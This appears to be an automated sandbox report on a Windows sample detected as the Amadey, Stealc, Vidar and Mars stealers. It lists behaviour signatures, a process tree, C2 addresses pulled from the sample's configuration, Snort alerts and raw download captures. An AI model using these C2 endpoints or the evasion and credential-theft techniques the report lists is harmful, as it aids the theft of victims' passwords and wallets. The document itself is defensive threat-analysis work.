Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1467271
MD5:	f7f2373c7005d9978782be75bef6a1c4
SHA1:	24523818e79c6ccc38c90de912743552e98be2be
SHA256:	bf5ba13df7f7549e987f77091823fd0f77ba7fd4514000e60ad9a4c28f949c13
Tags:	exe
Infos:

Detection

Amadey, Mars Stealer, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected Amadeys stealer DLL

Yara detected Mars stealer

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for dropped file

Machine Learning detection for sample

PE file contains section with special chars

PE file has nameless sections

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 7156 cmdline: "C:\Users\user\Desktop\file.exe" MD5: F7F2373C7005D9978782BE75BEF6A1C4)

cmd.exe (PID: 1016 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 2484 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

KKKJKEBKFC.exe (PID: 4544 cmdline: "C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe" MD5: 38D323D82872E7A58E7B7B05E88E055A)

explorti.exe (PID: 7564 cmdline: "C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe" MD5: 38D323D82872E7A58E7B7B05E88E055A)

2e80f9dd27.exe (PID: 7924 cmdline: "C:\Users\user\AppData\Local\Temp\1000006001\2e80f9dd27.exe" MD5: F7F2373C7005D9978782BE75BEF6A1C4)

cmd.exe (PID: 3604 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\BAAAKJDAAF.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 3488 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

explorti.exe (PID: 7584 cmdline: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe MD5: 38D323D82872E7A58E7B7B05E88E055A)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/ https://bitsight.com/blog/unveiling-socks5systemz-rise-new-proxy-service-privateloader-and-amadey	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://85.28.47.4/920475a59bac849d.php"}

Threatname: Vidar

{"C2 url": "http://85.28.47.4/920475a59bac849d.php"}

Threatname: Amadey

{"C2 url": ["http://77.91.77.82/Hun4Ko/index.php", "http://77.91.77.82/Hun4Ko/index.php/Hun4Ko/index.php"]}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000000C.00000002.1993800397.0000000000B01000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000000C.00000002.1993800397.0000000000B01000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
0000000B.00000002.1965667071.0000000000961000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.1868074947.0000000000B01000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000000.00000002.1868074947.0000000000B01000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
00000000.00000002.1869262770.0000000001D10000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000002.1924106143.0000000000E41000.00000040.00000001.01000000.00000009.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.1869262770.0000000001CBE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000B.00000003.1925291555.0000000004B50000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000A.00000002.4122963198.0000000000961000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000006.00000003.1879925828.00000000048F0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000C.00000002.1994535395.00000000018B4000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000A.00000003.1921184541.0000000005160000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: file.exe PID: 7156	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 7156	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 7156	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 2e80f9dd27.exe PID: 7924	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 12 entries

Unpacked PEs

Source	Rule	Description	Author
6.2.KKKJKEBKFC.exe.e40000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
11.2.explorti.exe.960000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
10.2.explorti.exe.960000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
12.2.2e80f9dd27.exe.b00000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
12.2.2e80f9dd27.exe.b00000.0.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
0.2.file.exe.b00000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.2.file.exe.b00000.0.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
Click to see the 2 entries

Snort Signatures

ET TROJAN Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 - Source IP: 85.28.47.4 - Destination IP: 192.168.2.4

Timestamp:	07/03/24-23:58:55.946746
SID:	2051831
Source Port:	80
Destination Port:	49730
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Stealc Requesting browsers Config from C2 - Source IP: 192.168.2.4 - Destination IP: 85.28.47.4

Timestamp:	07/03/24-23:58:55.527977
SID:	2044244
Source Port:	49730
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [SEKOIA.IO] Win32/Stealc C2 Check-in - Source IP: 192.168.2.4 - Destination IP: 85.28.47.4

Timestamp:	07/03/24-23:58:54.774104
SID:	2044243
Source Port:	49730
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Stealc Active C2 Responding with browsers Config M1 - Source IP: 85.28.47.4 - Destination IP: 192.168.2.4

Timestamp:	07/03/24-23:58:55.711541
SID:	2051828
Source Port:	80
Destination Port:	49730
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Stealc Requesting plugins Config from C2 - Source IP: 192.168.2.4 - Destination IP: 85.28.47.4

Timestamp:	07/03/24-23:58:55.712806
SID:	2044246
Source Port:	49730
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Code function: 0_2_6C606C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,

0_2_6C606C80

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.1902923177.000000006C82F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.1902923177.000000006C82F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2044243 ET TROJAN [SEKOIA.IO] Win32/Stealc C2 Check-in 192.168.2.4:49730 -> 85.28.47.4:80
Source: Traffic	Snort IDS: 2044244 ET TROJAN Win32/Stealc Requesting browsers Config from C2 192.168.2.4:49730 -> 85.28.47.4:80
Source: Traffic	Snort IDS: 2051828 ET TROJAN Win32/Stealc Active C2 Responding with browsers Config M1 85.28.47.4:80 -> 192.168.2.4:49730
Source: Traffic	Snort IDS: 2044246 ET TROJAN Win32/Stealc Requesting plugins Config from C2 192.168.2.4:49730 -> 85.28.47.4:80
Source: Traffic	Snort IDS: 2051831 ET TROJAN Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 85.28.47.4:80 -> 192.168.2.4:49730

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://85.28.47.4/920475a59bac849d.php
Source: Malware configuration extractor	URLs: http://85.28.47.4/920475a59bac849d.php
Source: Malware configuration extractor	IPs: 77.91.77.82
Source: Malware configuration extractor	IPs: 77.91.77.82

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 03 Jul 2024 21:58:57 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 14:30:30 GMTETag: "10e436-5e7eeebed8d80"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 03 Jul 2024 21:59:05 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "a7550-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 03 Jul 2024 21:59:06 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "94750-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
